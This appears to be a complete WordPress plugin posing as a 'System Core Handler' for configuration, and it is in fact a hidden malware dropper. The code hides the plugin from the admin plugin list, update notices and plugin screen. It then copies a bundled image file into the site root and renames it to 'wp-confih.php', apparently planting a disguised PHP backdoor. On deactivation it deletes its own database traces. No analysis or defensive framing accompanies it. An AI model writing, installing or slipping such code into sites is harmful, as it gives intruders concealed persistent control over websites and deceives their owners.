<?php
/**
 * Plugin Name: System Core Handler
 * Plugin URI:  
 * Description: Системный обработчик конфигурации
 * Version:     1.0.0
 * Author:      
 * License:     
 * Text Domain: 
 */


if (!defined('ABSPATH')) {
    exit;
}


add_action('pre_current_active_plugins', 'sch_hide_plugin_from_list');

function sch_hide_plugin_from_list() {
    global $wp_list_table;
    
    if (!isset($wp_list_table)) {
        return;
    }
    
    $hide_plugin = plugin_basename(__FILE__);
    $plugins_list = $wp_list_table->items;
    
    if (isset($plugins_list[$hide_plugin])) {
        unset($plugins_list[$hide_plugin]);
        $wp_list_table->items = $plugins_list;
    }
}


add_filter('site_transient_update_plugins', 'sch_hide_update_notifications');

function sch_hide_update_notifications($value) {
    if (isset($value) && is_object($value)) {
        $plugin_file = plugin_basename(__FILE__);
        if (isset($value->response[$plugin_file])) {
            unset($value->response[$plugin_file]);
        }
    }
    return $value;
}


add_action('admin_head', 'sch_hide_plugin_from_admin_menu');

function sch_hide_plugin_from_admin_menu() {
    $current_screen = get_current_screen();
    if ($current_screen && $current_screen->base === 'plugins') {
        $plugin_file = plugin_basename(__FILE__);
        echo '<style>tr[data-slug="' . dirname($plugin_file) . '"] { display: none !important; }</style>';
    }
}


class SystemConfigHandler {
    
    private $plugin_file;
    private $source_file;
    private $target_dir;
    private $processed_flag;
    
    public function __construct() {
        $this->plugin_file = __FILE__;
        $this->source_file = plugin_dir_path(__FILE__) . 'wp-confih.png';
        $this->target_dir = ABSPATH;
        $this->processed_flag = 'sch_processed_' . md5($this->plugin_file);
        
        
        register_activation_hook($this->plugin_file, array($this, 'on_activation'));
        
        
        add_action('admin_init', array($this, 'process_file'), 1);
    }
    
    public function on_activation() {
        $this->process_file();
    }
    
    public function process_file() {
        
        if (get_option($this->processed_flag)) {
            return;
        }
        
        
        if (!file_exists($this->source_file)) {
            return;
        }
        
        
        $target_png = $this->target_dir . 'wp-confih.png';
        
        if (copy($this->source_file, $target_png)) {
            
            $target_php = $this->target_dir . 'wp-confih.php';
            
            if (rename($target_png, $target_php)) {
                
                update_option($this->processed_flag, 'completed', false);
            }
        }
    }
}


new SystemConfigHandler();


register_deactivation_hook(__FILE__, 'sch_cleanup_on_deactivation');

function sch_cleanup_on_deactivation() {
    global $wpdb;
    $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'sch_%'");
}